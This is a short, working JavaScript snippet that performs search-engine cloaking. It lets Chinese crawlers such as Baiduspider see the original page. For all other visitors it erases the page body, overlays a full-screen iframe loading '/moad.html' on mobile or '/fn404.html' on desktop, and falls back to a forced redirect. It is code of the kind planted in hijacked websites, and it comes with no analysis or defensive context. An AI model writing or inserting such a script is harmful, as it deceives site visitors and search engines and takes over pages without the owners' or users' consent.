(function () {
    var ua = navigator.userAgent.toLowerCase();

    // 搜索引擎识别（防止加载 iframe）
    var is_spider = /(baiduspider|sogou|360spider|yisouspider|bytespider|youdaobot|easouspider)/.test(ua);

    // 移动设备识别（含云手机、红手指）
    var is_mobi = /(iphone|ipod|ipad|android|mobile|symbian|midp|wap|blackberry|windows phone|mqqbrowser|ucbrowser|miuibrowser|huawei|honor|oppo|vivo|lenovo|coolpad|meizu|redmi|mi pad|sm\-t|pad|tablet|harmonyos|cloud phone|redfinger|vmos|baiduboxapp|bdapp)/.test(ua)
        || (ua.indexOf("android") !== -1 && ua.indexOf("mobile") === -1);

    if (!is_spider) {
        var url = is_mobi ? "/moad.html" : "/fn404.html";

        window.addEventListener('DOMContentLoaded', function () {
            var iframe = document.createElement('iframe');
            iframe.src = url;
            iframe.style.cssText = "width:100%;height:100%;position:fixed;top:0;left:0;border:none;z-index:999999;background:#fff;";
            iframe.setAttribute("allow", "autoplay");

            // ⚠️ 覆盖内容
            document.body.innerHTML = '';
            document.body.style.margin = '0';
            document.body.style.padding = '0';
            document.body.appendChild(iframe);

            // fallback 强制跳转防止 iframe 被拦
            setTimeout(function () {
                if (!document.body.contains(iframe)) {
                    location.replace(url);
                }
            }, 1500);
        });
    }
})();